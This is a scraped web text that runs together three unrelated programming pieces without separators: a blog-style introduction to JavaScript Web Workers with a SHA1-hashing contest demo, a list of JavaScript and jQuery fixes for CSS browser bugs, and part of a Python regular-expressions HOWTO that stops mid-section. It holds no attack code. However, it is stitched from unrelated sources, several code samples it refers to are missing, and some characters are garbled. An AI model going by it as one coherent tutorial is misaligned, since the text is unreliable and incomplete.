Web Workers are, undoubtedly, the coolest new feature to arrive in the latest version of web browsers. Web Workers allow you to run JavaScript in parallel on a web page, without blocking the user interface.

Normally in order to achieve any sort of computation using JavaScript you would need to break your jobs up into tiny chunks and split their execution apart using timers. This is both slow and unimpressive (since you can’t actually run anything in parallel - more information on this in How JavaScript Timers Work).

With our current situation in mind, let’s dig in to Web Workers.

Web Workers

The Web Worker recommendation is partially based off of the prior work done by the Gears team on their WorkerPool Module. The idea has since grown and been tweaked to become a full recommendation.

A ‘worker’ is a script that will be loaded and executed in the background. Web Workers provide a way to do this seamlessly, for example:

The above will load the script, located at ‘worker.js’, and execute it in the background.

There are some HUGE stipulations, though:

1. Workers don’t have access to the DOM. No document, getElementById, etc. (The notable exceptions are setTimeout, setInterval, and XMLHttpRequest.)
2. Workers don’t have direct access to the ‘parent’ page.

With these points in mind the big question should be: How do you actually use a worker and what is it useful for?

You use a worker by communicating with it using messages. All browsers support passing in a string message (Firefox 3.5 also supports passing in JSON-compatible objects). This message will be communicated to the worker (the worker can also communicate messages back to the parent page). This is the extent to which communication can occur.

The message passing is done using the postMessage API, working like this:

The Client:

This particular message-passing limitation is in place for a number of reasons: It keeps the child worker running securely (since it can’t, blatantly, affect a parent script) and it keeps the parent page thread-safe (having the DOM be thread safe would be a logistical nightmare for browser developers).

Right now Web Workers are implemented by Firefox 3.5 and Safari 4. They’ve also landed in the latest Chromium nightlies. Most people would balk when hearing this (only two released browsers!) but this shouldn’t be a concern. Workers allow you to take a normal piece of computation and highly parallelize it. In this way you can easily have two versions of a script (one that runs in older browsers and one that runs in a worker, if it’s available). Newer browsers will just run that much faster.

Some interesting demos have already been created that utilize this new API.

RayTracing

This demo makes use of Canvas to draw out a rendered scene. You’ll note that when you turn on the workers the scene is drawn in pieces. This is working by telling a worker to compute a slice of pixels. The worker responds with an array of colors to draw on the Canvas and the parent page changes the canvas. (Note that the worker itself doesn’t manipulate the canvas.)

Movement Tracking

(Requires Firefox 3.5. About the demo.) This one uses a number of technologies: The video element, the canvas element, and drawing video frames to a canvas. All of the motion detection it taking place in the background worker (so that the video rendering isn’t blocked).

Simulated Annealing

This demo attempts to draw outlines around a series of randomly-placed points using simulated annealing (More information). It also includes an animated PNG (works in Firefox 3.5) that continues to spin even while all the processing is occurring in the background.

Computing with JavaScript Web Workers

The other day Engine Yard started an interesting contest (which is probably over, by the time that you’re reading this).

The premise is that they would give you a phrase, which you would take the SHA1 of, and try to find another SHA1-ed string that has the smallest possible hamming distance from the original.

The phrase was posted the other day and developers have been furiously working to find a string that yields a low value.

The current leader is using a series of dedicated GPUs crunching out results at a pace of a couple hundred million per second. Considering the rate at which they’re progressing any other implementation will have a hard time catching up.

Of greater interest to me were two pure-JavaScript (1, 2) entrants into the competition - they both run completely in the browser and utilize the user’s JavaScript engine to find results. While neither of them have a prayer of overcoming the GPU-powered monsters dominating the pack, they do serve as an interesting realm for exploration.

Reading through the source to both implementations they both utilize nearly-identical tactics for computing results: They execute a batch of results broken up by a timer. I’ve played around with them in different browsers and have been able to get around 1000-1500 matches/second. Unfortunately they both peg the CPU pretty hard and even with the timer splitting they manage to bog down the user interface.

This sounds like a perfect opportunity to use Web Workers!

I took the Ray C Morgan implementation, stripped out all the UI components and timers, and pushed it in to worker (through which 4 of them are run in parallel). (I submit results back to the original implementation, just in case a good result is found.)

Check out the demo and source:

• SHA1-Crunching Web Worker Demo
• ‘Parent’ Source
• Worker Source

I ran the old implementation against the new one in the browsers that support Web Workers to arrive at the following results:

How does this implementation work? Digging in to the source of the parent launcher we can see:

To start, we’re constructing the worker and listening for any incoming messages. There are three types of messages that can come from the worker: “rate” (a ‘ping’ from the worker notifying the parent how quickly it’s running), “found” (sent back when a new high scoring phrase has been found by the client), and “mybest” (sent when the worker gets a new personal-best high score).

Additionally we can see the initialization data sent to the client in worker.postMessage. Unfortunately we have to pass the data in using a string in order to have it work in all browsers (only Firefox 3.5 supports the ability to pass in a raw JavaScript object).

Looking at the contents of the worker we can see some more, interesting, logic.

The two ‘distance’ checks take place deep in the computation logic. After a new match has been found it is compared against the existing high scores. If this a sufficiently good-enough the result is sent back to the parent page using postMessage.

The ’stats’ function is called periodically, which then reports back the current rate of processing to the parent page.

The ‘onmessage’ callback listens for the initialization data to come from the parent page - and once it’s been received begins processing.

–

In all I found this project to be a lot of fun - a relatively minor amount of code yielded 2-3x faster computation power. If you’re doing any computation with JavaScript you should definitely opt to use Web Workers if they’re available - the result is both faster and a better experience for the end user.

We advocate using CSS whenever possible, and we often successed. Modern browsers have very good support for CSS � it’s certainly good enough for you to use CSS to control layout and presentation. Sometimes however, certain page elements will appear differently in different browsers.

Don’t worry too much if you don’t know the reason why, play around with the CSS rules and check out this post: Using CSS to Fix Anything: 20+ Common Bugs and Fixes as well.

If that doesn’t work, you can fix it up with one of the 12 javascript solutions listed below and your Web pages should look great across all browsers!

In this article, we’ll demystify 12 javascript solutions for the most common CSS issues that you’ll encounter when building web applications.

You might be interested to check other CSS related posts.

• Using CSS to Do Anything: 50+ Creative Examples and Tutorials
• Using CSS to Fix Anything: 20+ Common Bugs and Fixes

1. Setting Equal Heights

1.1 Setting Equal Heights with jQuery

This jQuery plugin “equalize� the heights of boxes within the same container and create a tidy grid � with little overhead. From a usability and performance standpoint to use a simple JavaScript workaround: equalHeights() function determines the heights of all sibling elements in a container, and then sets each element’s minimum height to that of the tallest element.

How it works

equalHeights() loops through the top-level child nodes of a specified element and sets their min-height values to that of the tallest.

• Demo can be found here.

1.2 Equal height columns with jQuery

Another jQuery plugin “equalize� the heights of boxes.

$("#col1, #col2").equalizeCols();

Will equalize the columns as expected

$("#col1, #col2").equalizeCols("p,p");

Will equalize the columns and add the extra space after the p tag in #col1 or #col2 (whichever is shorter).

2. IE6 PNG Alpha Transperancy support

IE versions below 6 do not support png transparency. With the use of hacks, support has been available in Internet Explorer 5.5 and 6, but the hacks are non-ideal and have been tricky to use. Lets take a look at what we can do to support IE6 users whilst taking full advantage of transparency for the majority of a site’s visitors.

2.1 Force IE6 To Support Alpha Transparency

IE7 is a JavaScript library created by Dean Edwards to force MSIE(IE6, IE5) behave like a standards-compliant browser. It fixes many CSS issues and makes transparent PNG work correctly under IE5 and IE6. It also allows for advanced CSS selectors.

• Demo can be found here.
• Download source file here

2.2. iFixPng improved

• Demo can be found here.
• Download source file here

3. Changing CSS Classes in JavaScript

function changeClass(oldClass, newClass) {
    var elements = document.getElementsByTagName("*");
    for( i = 0; i < elements.length; i++ ) {
        if( elements[i].className == oldClass ) elements[i].className = newClass;
    }
}

• Demo can be found here.
• Download source file here

4. Browser selectors in CSS

What if you could just type a special selector, where you could write some javascript that sets a class name on, say, the element based on the name of the current browser.

4.1 CSS Browser

This is a very small javascript with just one line and less than 1kb which empower CSS selectors. It gives you the ability to write specific CSS code for each operating system and each browser. You could write some javascript that sets a class name on, say, the element based on the current browser.

• Demo can be found here.
• Download source file here

jQuery browser selectors

Here is another solution on how to do these browser selectors so easily with jQuery, all you have to do is include the jQuery file, and the following piece of code:

$(document).ready(function(){
$('html').addClass($.browser);
});

Now you can preprend your styles with .msie, .mozilla, .opera, .safari or .other depending on the targeted browser.

• Demo can be found here.

5. min-/max- height & width support

Looking for CSS min-width, min-height, max-width, max-height, border-*-width, margin, and padding properties, here are some good jQuery fixes.

5.1 jQMinMax

This is a jQuery plugin that adds support for min-width, max-width, min-height and max-height where they are not natively supported.

• Demo can be found here.
• Download source file here

5.2 JSizes

This small jQuery plugin adds support for the CSS min-width, min-height, max-width, max-height, border-*-width, margin, and padding properties. Additionally it has one method for determining whether an element is visible. Because all the size methods return numbers, it is safe to use them in calculating DOM element dimensions.

The example below shows that chaining can be used on methods that do not return values.

jQuery(function($) {
   var myDiv = $('#myDiv');

   // set margin-top to 100px and margin-bottom to 10em
   myDiv.margin({top: 100, bottom: '10em'});

   // displays the size of the top border in pixels
   alert(myDiv.border().top);

   // displays true if the element is visible, false otherwise
   alert(myDiv.isVisible());

   // set padding-right to 10px and margin-left to 15px using chaining
   myDiv.padding({right: 10}).margin({left: 15});
});

• Demo can be found here.
• Download source file here

6. Center Elements Vertically / Horizontally

You might have come across this problem before : centering elements vertically or horizontally. Vertical centering is rather difficult in CSS, especially if you aim to support all major web browsers. Fortunately, there are solutions that work, one solution takes the value for the left and right marginsfrom the height and width values, divided by two.

6.1 Center element plugin

This plugin center any element in page, horizontal and vertical using the css minus margin method.

$("element").center(); //vertical and horizontal
$("element").center({
horizontal: false // only vertical
});

• Demo can be found here.
• Download source file here

6.2 How Can I Vertically Center An Element?

In this video tutorial, Jeffrey Jordan Way will show you how you can vertically center an image in your browser by combining CSS with jQuery’s power.

7. Display Q tags in Internet Explorer

Quotation marks are supposed to render with use of the Q tag but not with use of the blockquote tag. However, IE/Win does not render these quotation marks, and because of this, most web authors choose not to use the Q tag.

7.1 QinIE

When you add this script to the head of your document to automatically sweep the page for Q tags in IE and display them properly (including nested quotes). When (if) IE supports Q tags in the future, this will have to be updated with a browser version check.

• Download source file here

8. Increase the size of click targets and get more call-to-action conversions

• Download source file here

9. Lazy loader

Lazy loader is a jQuery plugin written in JavaScript. It delays loading of images in (long) web pages. Images outside of viewport (visible part of web page) wont be loaded before user scrolls to them. This is opposite of image preloading.

• Demo can be found here.
• Download source file here

10. bgiframe

Helps ease the pain when having to deal with IE z-index issues.

• Demo can be found here.
• Download source file here

11. ieFixButtons

ieFixButtons is a jQuery plugin that fixes the buggy behavior of the <button> element in Internet Explorer 6 and 7.

• Demo can be found here.
• Download source file here

12. Fix Overflow

Fixes the horizontal overflow in IE. In particular, IE will place the scroll bar inside the overflowing element, and if the element is only one line, the scroll bar will cover the line. This plugin will adjust the padding to fix the issue.

Abstract:

Contents

• 1 Introduction
• 2 Simple Patterns
  • 2.1 Matching Characters
  • 2.2 Repeating Things
• 3 Using Regular Expressions
  • 3.1 Compiling Regular Expressions
  • 3.2 The Backslash Plague
  • 3.3 Performing Matches
  • 3.4 Module-Level Functions
  • 3.5 Compilation Flags
• 4 More Pattern Power
  • 4.1 More Metacharacters
  • 4.2 Grouping
  • 4.3 Non-capturing and Named Groups
  • 4.4 Lookahead Assertions
• 5 Modifying Strings
  • 5.1 Splitting Strings
  • 5.2 Search and Replace
• 6 Common Problems
  • 6.1 Use String Methods
  • 6.2 match() versus search()
  • 6.3 Greedy versus Non-Greedy
  • 6.4 Not Using re.VERBOSE
• 7 Feedback
• About this document …

1 Introduction

The re module was added in Python 1.5, and provides Perl-style regular expression patterns. Earlier versions of Python came with the regex module, which provides Emacs-style patterns. Emacs-style patterns are slightly less readable and don’t provide as many features, so there’s not much reason to use the regex module when writing new code, though you might encounter old code that uses it.

Regular expressions (or REs) are essentially a tiny, highly specialized programming language embedded inside Python and made available through the re module. Using this little language, you specify the rules for the set of possible strings that you want to match; this set might contain English sentences, or e-mail addresses, or TeX commands, or anything you like. You can then ask questions such as “Does this string match the pattern?”, or “Is there a match for the pattern anywhere in this string?”. You can also use REs to modify a string or to split it apart in various ways.

Regular expression patterns are compiled into a series of bytecodes which are then executed by a matching engine written in C. For advanced use, it may be necessary to pay careful attention to how the engine will execute a given RE, and write the RE in a certain way in order to produce bytecode that runs faster. Optimization isn’t covered in this document, because it requires that you have a good understanding of the matching engine’s internals.

The regular expression language is relatively small and restricted, so not all possible string processing tasks can be done using regular expressions. There are also tasks that can be done with regular expressions, but the expressions turn out to be very complicated. In these cases, you may be better off writing Python code to do the processing; while Python code will be slower than an elaborate regular expression, it will also probably be more understandable.

2 Simple Patterns

We’ll start by learning about the simplest possible regular expressions. Since regular expressions are used to operate on strings, we’ll begin with the most common task: matching characters.

For a detailed explanation of the computer science underlying regular expressions (deterministic and non-deterministic finite automata), you can refer to almost any textbook on writing compilers.

2.1 Matching Characters

Most letters and characters will simply match themselves. For example, the regular expression test will match the string “test” exactly. (You can enable a case-insensitive mode that would let this RE match “Test” or “TEST” as well; more about this later.)

There are exceptions to this rule; some characters are special, and don’t match themselves. Instead, they signal that some out-of-the-ordinary thing should be matched, or they affect other portions of the RE by repeating them. Much of this document is devoted to discussing various metacharacters and what they do.

Here’s a complete list of the metacharacters; their meanings will be discussed in the rest of this HOWTO.

. ^ $ * + ? { [ ] \ | ( )

The first metacharacters we’ll look at are “[" and "]“. They’re used for specifying a character class, which is a set of characters that you wish to match. Characters can be listed individually, or a range of characters can be indicated by giving two characters and separating them by a “-“. For example, [abc] will match any of the characters “a“, “b“, or “c“; this is the same as [a-c], which uses a range to express the same set of characters. If you wanted to match only lowercase letters, your RE would be [a-z].

Metacharacters are not active inside classes. For example, [akm$] will match any of the characters “a“, “k“, “m“, or “$“; “$” is usually a metacharacter, but inside a character class it’s stripped of its special nature.

You can match the characters not within a range by complementing the set. This is indicated by including a “^” as the first character of the class; “^” elsewhere will simply match the “^” character. For example, [^5] will match any character except “5“.

Perhaps the most important metacharacter is the backslash, “\“. As in Python string literals, the backslash can be followed by various characters to signal various special sequences. It’s also used to escape all the metacharacters so you can still match them in patterns; for example, if you need to match a “[" or "\", you can precede them with a backslash to remove their special meaning: \[ or \\.

Some of the special sequences beginning with "\" represent predefined sets of characters that are often useful, such as the set of digits, the set of letters, or the set of anything that isn't whitespace. The following predefined special sequences are available:

\d

Matches any decimal digit; this is equivalent to the class [0-9].

\D

Matches any non-digit character; this is equivalent to the class [^0-9].

\s

Matches any whitespace character; this is equivalent to the class [ \t\n\r\f\v].

\S

Matches any non-whitespace character; this is equivalent to the class [^ \t\n\r\f\v].

\w

Matches any alphanumeric character; this is equivalent to the class [a-zA-Z0-9_].

\W

Matches any non-alphanumeric character; this is equivalent to the class [^a-zA-Z0-9_].

These sequences can be included inside a character class. For example, [\s,.] is a character class that will match any whitespace character, or “,” or “.“.

The final metacharacter in this section is .. It matches anything except a newline character, and there’s an alternate mode (re.DOTALL) where it will match even a newline. “.” is often used where you want to match “any character”.

2.2 Repeating Things

Being able to match varying sets of characters is the first thing regular expressions can do that isn’t already possible with the methods available on strings. However, if that was the only additional capability of regexes, they wouldn’t be much of an advance. Another capability is that you can specify that portions of the RE must be repeated a certain number of times.

The first metacharacter for repeating things that we’ll look at is *. * doesn’t match the literal character “*“; instead, it specifies that the previous character can be matched zero or more times, instead of exactly once.

For example, ca*t will match “ct” (0 “a“characters), “cat” (1 “a“), “caaat” (3 “a“characters), and so forth. The RE engine has various internal limitations stemming from the size of C’s int type, that will prevent it from matching over 2 billion “a” characters; you probably don’t have enough memory to construct a string that large, so you shouldn’t run into that limit.

Repetitions such as * are greedy; when repeating a RE, the matching engine will try to repeat it as many times as possible. If later portions of the pattern don’t match, the matching engine will then back up and try again with few repetitions.

A step-by-step example will make this more obvious. Let’s consider the expression a[bcd]*b. This matches the letter “a“, zero or more letters from the class [bcd], and finally ends with a “b“. Now imagine matching this RE against the string “abcbd“.

The end of the RE has now been reached, and it has matched “abcb“. This demonstrates how the matching engine goes as far as it can at first, and if no match is found it will then progressively back up and retry the rest of the RE again and again. It will back up until it has tried zero matches for [bcd]*, and if that subsequently fails, the engine will conclude that the string doesn’t match the RE at all.

Another repeating metacharacter is +, which matches one or more times. Pay careful attention to the difference between * and +; * matches zero or more times, so whatever’s being repeated may not be present at all, while + requires at least one occurrence. To use a similar example, ca+t will match “cat” (1 “a“), “caaat” (3 “a“’s), but won’t match “ct“.

There are two more repeating qualifiers. The question mark character, ?, matches either once or zero times; you can think of it as marking something as being optional. For example, home-?brew matches either “homebrew” or “home-brew“.

The most complicated repeated qualifier is {m,n}, where m and n are decimal integers. This qualifier means there must be at least m repetitions, and at most n. For example, a/{1,3}b will match “a/b“, “a//b“, and “a///b“. It won’t match “ab“, which has no slashes, or “a////b“, which has four.

You can omit either m or n; in that case, a reasonable value is assumed for the missing value. Omitting m is interpreted as a lower limit of 0, while omitting n results in an upper bound of infinity — actually, the 2 billion limit mentioned earlier, but that might as well be infinity.

Readers of a reductionist bent may notice that the three other qualifiers can all be expressed using this notation. {0,} is the same as *, {1,} is equivalent to +, and {0,1} is the same as ?. It’s better to use *, +, or ? when you can, simply because they’re shorter and easier to read.

3 Using Regular Expressions

Now that we’ve looked at some simple regular expressions, how do we actually use them in Python? The re module provides an interface to the regular expression engine, allowing you to compile REs into objects and then perform matches with them.

3.1 Compiling Regular Expressions

Regular expressions are compiled into RegexObject instances, which have methods for various operations such as searching for pattern matches or performing string substitutions.

>>> import re
>>> p = re.compile('ab*')
>>> print p
<re.RegexObject instance at 80b4150>

re.compile() also accepts an optional flags argument, used to enable various special features and syntax variations. We’ll go over the available settings later, but for now a single example will do:

>>> p = re.compile('ab*', re.IGNORECASE)

The RE is passed to re.compile() as a string. REs are handled as strings because regular expressions aren’t part of the core Python language, and no special syntax was created for expressing them. (There are applications that don’t need REs at all, so there’s no need to bloat the language specification by including them.) Instead, the re module is simply a C extension module included with Python, just like the socket or zlib module.

Putting REs in strings keeps the Python language simpler, but has one disadvantage which is the topic of the next section.

3.2 The Backslash Plague

As stated earlier, regular expressions use the backslash character (”\“) to indicate special forms or to allow special characters to be used without invoking their special meaning. This conflicts with Python’s usage of the same character for the same purpose in string literals.

Let’s say you want to write a RE that matches the string “\section“, which might be found in a L^ATEX file. To figure out what to write in the program code, start with the desired string to be matched. Next, you must escape any backslashes and other metacharacters by preceding them with a backslash, resulting in the string “\\section“. The resulting string that must be passed to re.compile() must be \\section. However, to express this as a Python string literal, both backslashes must be escaped again.

In short, to match a literal backslash, one has to write '\\\\' as the RE string, because the regular expression must be “\\“, and each backslash must be expressed as “\\” inside a regular Python string literal. In REs that feature backslashes repeatedly, this leads to lots of repeated backslashes and makes the resulting strings difficult to understand.

The solution is to use Python’s raw string notation for regular expressions; backslashes are not handled in any special way in a string literal prefixed with “r“, so r"\n" is a two-character string containing “\” and “n“, while "\n" is a one-character string containing a newline. Frequently regular expressions will be expressed in Python code using this raw string notation.

3.3 Performing Matches

Once you have an object representing a compiled regular expression, what do you do with it? RegexObject instances have several methods and attributes. Only the most significant ones will be covered here; consult the Library Reference for a complete listing.

match() and search() return None if no match can be found. If they’re successful, a MatchObject instance is returned, containing information about the match: where it starts and ends, the substring it matched, and more.

You can learn about this by interactively experimenting with the re module. If you have Tkinter available, you may also want to look at Tools/scripts/redemo.py, a demonstration program included with the Python distribution. It allows you to enter REs and strings, and displays whether the RE matches or fails. redemo.py can be quite useful when trying to debug a complicated RE. Phil Schwartz’s Kodos is also an interactive tool for developing and testing RE patterns. This HOWTO will use the standard Python interpreter for its examples.

First, run the Python interpreter, import the re module, and compile a RE:

Python 2.2.2 (#1, Feb 10 2003, 12:57:01)
>>> import re
>>> p = re.compile('[a-z]+')
>>> p
<_sre.SRE_Pattern object at 80c3c28>

Now, you can try matching various strings against the RE [a-z]+. An empty string shouldn’t match at all, since + means ‘one or more repetitions’. match() should return None in this case, which will cause the interpreter to print no output. You can explicitly print the result of match() to make this clear.

>>> p.match("")
>>> print p.match("")
None

Now, let’s try it on a string that it should match, such as “tempo“. In this case, match() will return a MatchObject, so you should store the result in a variable for later use.

>>> m = p.match( 'tempo')
>>> print m
<_sre.SRE_Match object at 80c4f68>

Now you can query the MatchObject for information about the matching string. MatchObject instances also have several methods and attributes; the most important ones are:

Trying these methods will soon clarify their meaning:

>>> m.group()
'tempo'
>>> m.start(), m.end()
(0, 5)
>>> m.span()
(0, 5)

group() returns the substring that was matched by the RE. start() and end() return the starting and ending index of the match. span() returns both start and end indexes in a single tuple. Since the match method only checks if the RE matches at the start of a string, start() will always be zero. However, the search method of RegexObject instances scans through the string, so the match may not start at zero in that case.

>>> print p.match('::: message')
None
>>> m = p.search('::: message') ; print m
<re.MatchObject instance at 80c9650>
>>> m.group()
'message'
>>> m.span()
(4, 11)

In actual programs, the most common style is to store the MatchObject in a variable, and then check if it was None. This usually looks like:

p = re.compile( ... )
m = p.match( 'string goes here' )
if m:
    print 'Match found: ', m.group()
else:
    print 'No match'

Two RegexObject methods return all of the matches for a pattern. findall() returns a list of matching strings:

>>> p = re.compile('\d+')
>>> p.findall('12 drummers drumming, 11 pipers piping, 10 lords a-leaping')
['12', '11', '10']

findall() has to create the entire list before it can be returned as the result. In Python 2.2, the finditer() method is also available, returning a sequence of MatchObject instances as an iterator.

>>> iterator = p.finditer('12 drummers drumming, 11 ... 10 ...')
>>> iterator
<callable-iterator object at 0x401833ac>
>>> for match in iterator:
...     print match.span()
...
(0, 2)
(22, 24)
(29, 31)

3.4 Module-Level Functions

You don’t have to produce a RegexObject and call its methods; the re module also provides top-level functions called match(), search(), sub(), and so forth. These functions take the same arguments as the corresponding RegexObject method, with the RE string added as the first argument, and still return either None or a MatchObject instance.

>>> print re.match(r'From\s+', 'Fromage amk')
None
>>> re.match(r'From\s+', 'From amk Thu May 14 19:12:10 1998')
<re.MatchObject instance at 80c5978>

Under the hood, these functions simply produce a RegexObject for you and call the appropriate method on it. They also store the compiled object in a cache, so future calls using the same RE are faster.

Should you use these module-level functions, or should you get the RegexObject and call its methods yourself? That choice depends on how frequently the RE will be used, and on your personal coding style. If a RE is being used at only one point in the code, then the module functions are probably more convenient. If a program contains a lot of regular expressions, or re-uses the same ones in several locations, then it might be worthwhile to collect all the definitions in one place, in a section of code that compiles all the REs ahead of time. To take an example from the standard library, here’s an extract from xmllib.py:

ref = re.compile( ... )
entityref = re.compile( ... )
charref = re.compile( ... )
starttagopen = re.compile( ... )

I generally prefer to work with the compiled object, even for one-time uses, but few people will be as much of a purist about this as I am.

3.5 Compilation Flags

Compilation flags let you modify some aspects of how regular expressions work. Flags are available in the re module under two names, a long name such as IGNORECASE, and a short, one-letter form such as I. (If you’re familiar with Perl’s pattern modifiers, the one-letter forms use the same letters; the short form of re.VERBOSE is re.X, for example.) Multiple flags can be specified by bitwise OR-ing them; re.I | re.M sets both the I and M flags, for example.

Here’s a table of the available flags, followed by a more detailed explanation of each one.

I

IGNORECASE

Perform case-insensitive matching; character class and literal strings will match letters by ignoring case. For example, [A-Z] will match lowercase letters, too, and Spam will match “Spam“, “spam“, or “spAM“. This lowercasing doesn’t take the current locale into account; it will if you also set the LOCALE flag.

L

LOCALE

Make \w, \W, \b, and \B, dependent on the current locale.Locales are a feature of the C library intended to help in writing programs that take account of language differences. For example, if you’re processing French text, you’d want to be able to write \w+ to match words, but \w only matches the character class [A-Za-z]; it won’t match “é” or “ç“. If your system is configured properly and a French locale is selected, certain C functions will tell the program that “é” should also be considered a letter. Setting the LOCALE flag when compiling a regular expression will cause the resulting compiled object to use these C functions for \w; this is slower, but also enables \w+ to match French words as you’d expect.

M

MULTILINE

(^ and $ haven’t been explained yet; they’ll be introduced in section 4.1.)Usually ^ matches only at the beginning of the string, and $ matches only at the end of the string and immediately before the newline (if any) at the end of the string. When this flag is specified, ^ matches at the beginning of the string and at the beginning of each line within the string, immediately following each newline. Similarly, the $ metacharacter matches either at the end of the string and at the end of each line (immediately preceding each newline).

S

DOTALL

Makes the “.” special character match any character at all, including a newline; without this flag, “.” will match anything except a newline.

X

VERBOSE

This flag allows you to write regular expressions that are more readable by granting you more flexibility in how you can format them. When this flag has been specified, whitespace within the RE string is ignored, except when the whitespace is in a character class or preceded by an unescaped backslash; this lets you organize and indent the RE more clearly. It also enables you to put comments within a RE that will be ignored by the engine; comments are marked by a “#” that’s neither in a character class or preceded by an unescaped backslash.For example, here’s a RE that uses re.VERBOSE; see how much easier it is to read?

charref = re.compile(r"""
 &[#]		     # Start of a numeric entity reference
 (
   [0-9]+[^0-9]      # Decimal form
   | 0[0-7]+[^0-7]   # Octal form
   | x[0-9a-fA-F]+[^0-9a-fA-F] # Hexadecimal form
 )
""", re.VERBOSE)

Without the verbose setting, the RE would look like this:

charref = re.compile("&#([0-9]+[^0-9]"
                     "|0[0-7]+[^0-7]"
                     "|x[0-9a-fA-F]+[^0-9a-fA-F])")

In the above example, Python’s automatic concatenation of string literals has been used to break up the RE into smaller pieces, but it’s still more difficult to understand than the version using re.VERBOSE.

4 More Pattern Power

So far we’ve only covered a part of the features of regular expressions. In this section, we’ll cover some new metacharacters, and how to use groups to retrieve portions of the text that was matched.

4.1 More Metacharacters

There are some metacharacters that we haven’t covered yet. Most of them will be covered in this section.

Some of the remaining metacharacters to be discussed are zero-width assertions. They don’t cause the engine to advance through the string; instead, they consume no characters at all, and simply succeed or fail. For example, \b is an assertion that the current position is located at a word boundary; the position isn’t changed by the \b at all. This means that zero-width assertions should never be repeated, because if they match once at a given location, they can obviously be matched an infinite number of times.

|

Alternation, or the “or” operator. If A and B are regular expressions, A|B will match any string that matches either “A” or “B“. | has very low precedence in order to make it work reasonably when you’re alternating multi-character strings. Crow|Servo will match either “Crow” or “Servo“, not “Cro“, a “w” or an “S“, and “ervo“.To match a literal “|“, use \|, or enclose it inside a character class, as in [|].

^

Matches at the beginning of lines. Unless the MULTILINE flag has been set, this will only match at the beginning of the string. In MULTILINE mode, this also matches immediately after each newline within the string.For example, if you wish to match the word “From” only at the beginning of a line, the RE to use is ^From.

>>> print re.search('^From', 'From Here to Eternity')
<re.MatchObject instance at 80c1520>
>>> print re.search('^From', 'Reciting From Memory')
None

$

Matches at the end of a line, which is defined as either the end of the string, or any location followed by a newline character.

>>> print re.search('}$', '{block}')
<re.MatchObject instance at 80adfa8>
>>> print re.search('}$', '{block} ')
None
>>> print re.search('}$', '{block}\n')
<re.MatchObject instance at 80adfa8>

To match a literal “$“, use \$ or enclose it inside a character class, as in [$].

\A

Matches only at the start of the string. When not in MULTILINE mode, \A and ^ are effectively the same. In MULTILINE mode, however, they’re different; \A still matches only at the beginning of the string, but ^ may match at any location inside the string that follows a newline character.

\Z

Matches only at the end of the string.

\b

Word boundary. This is a zero-width assertion that matches only at the beginning or end of a word. A word is defined as a sequence of alphanumeric characters, so the end of a word is indicated by whitespace or a non-alphanumeric character.The following example matches “class” only when it’s a complete word; it won’t match when it’s contained inside another word.

>>> p = re.compile(r'\bclass\b')
>>> print p.search('no class at all')
<re.MatchObject instance at 80c8f28>
>>> print p.search('the declassified algorithm')
None
>>> print p.search('one subclass is')
None

There are two subtleties you should remember when using this special sequence. First, this is the worst collision between Python’s string literals and regular expression sequences. In Python’s string literals, “\b” is the backspace character, ASCII value 8. If you’re not using raw strings, then Python will convert the “\b” to a backspace, and your RE won’t match as you expect it to. The following example looks the same as our previous RE, but omits the “r” in front of the RE string.

>>> p = re.compile('\bclass\b')
>>> print p.search('no class at all')
None
>>> print p.search('\b' + 'class' + '\b')
<re.MatchObject instance at 80c3ee0>

Second, inside a character class, where there’s no use for this assertion, \b represents the backspace character, for compatibility with Python’s string literals.

\B

Another zero-width assertion, this is the opposite of \b, only matching when the current position is not at a word boundary.

4.2 Grouping

Frequently you need to obtain more information than just whether the RE matched or not. Regular expressions are often used to dissect strings by writing a RE divided into several subgroups which match different components of interest. For example, an RFC-822 header line is divided into a header name and a value, separated by a “:“. This can be handled by writing a regular expression which matches an entire header line, and has one group which matches the header name, and another group which matches the header’s value.

Groups are marked by the “(“, “)” metacharacters. “(” and “)” have much the same meaning as they do in mathematical expressions; they group together the expressions contained inside them. For example, you can repeat the contents of a group with a repeating qualifier, such as *, +, ?, or {m,n}. For example, (ab)* will match zero or more repetitions of “ab“.

>>> p = re.compile('(ab)*')
>>> print p.match('ababababab').span()
(0, 10)

Groups indicated with “(“, “)” also capture the starting and ending index of the text that they match; this can be retrieved by passing an argument to group(), start(), end(), and span(). Groups are numbered starting with 0. Group 0 is always present; it’s the whole RE, so MatchObject methods all have group 0 as their default argument. Later we’ll see how to express groups that don’t capture the span of text that they match.

>>> p = re.compile('(a)b')
>>> m = p.match('ab')
>>> m.group()
'ab'
>>> m.group(0)
'ab'

Subgroups are numbered from left to right, from 1 upward. Groups can be nested; to determine the number, just count the opening parenthesis characters, going from left to right.

>>> p = re.compile('(a(b)c)d')
>>> m = p.match('abcd')
>>> m.group(0)
'abcd'
>>> m.group(1)
'abc'
>>> m.group(2)
'b'

group() can be passed multiple group numbers at a time, in which case it will return a tuple containing the corresponding values for those groups.

>>> m.group(2,1,2)
('b', 'abc', 'b')

The groups() method returns a tuple containing the strings for all the subgroups, from 1 up to however many there are.

>>> m.groups()
('abc', 'b')

Backreferences in a pattern allow you to specify that the contents of an earlier capturing group must also be found at the current location in the string. For example, \1 will succeed if the exact contents of group 1 can be found at the current position, and fails otherwise. Remember that Python’s string literals also use a backslash followed by numbers to allow including arbitrary characters in a string, so be sure to use a raw string when incorporating backreferences in a RE.

For example, the following RE detects doubled words in a string.

>>> p = re.compile(r'(\b\w+)\s+\1')
>>> p.search('Paris in the the spring').group()
'the the'

Backreferences like this aren’t often useful for just searching through a string — there are few text formats which repeat data in this way — but you’ll soon find out that they’re very useful when performing string substitutions.

4.3 Non-capturing and Named Groups

Elaborate REs may use many groups, both to capture substrings of interest, and to group and structure the RE itself. In complex REs, it becomes difficult to keep track of the group numbers. There are two features which help with this problem. Both of them use a common syntax for regular expression extensions, so we’ll look at that first.

Perl 5 added several additional features to standard regular expressions, and the Python re module supports most of them. It would have been difficult to choose new single-keystroke metacharacters or new special sequences beginning with “\” to represent the new features without making Perl’s regular expressions confusingly different from standard REs. If you chose “&” as a new metacharacter, for example, old expressions would be assuming that “&” was a regular character and wouldn’t have escaped it by writing \& or [&].

The solution chosen by the Perl developers was to use (?…) as the extension syntax. “?” immediately after a parenthesis was a syntax error because the “?” would have nothing to repeat, so this didn’t introduce any compatibility problems. The characters immediately after the “?” indicate what extension is being used, so (?=foo) is one thing (a positive lookahead assertion) and (?:foo) is something else (a non-capturing group containing the subexpression foo).

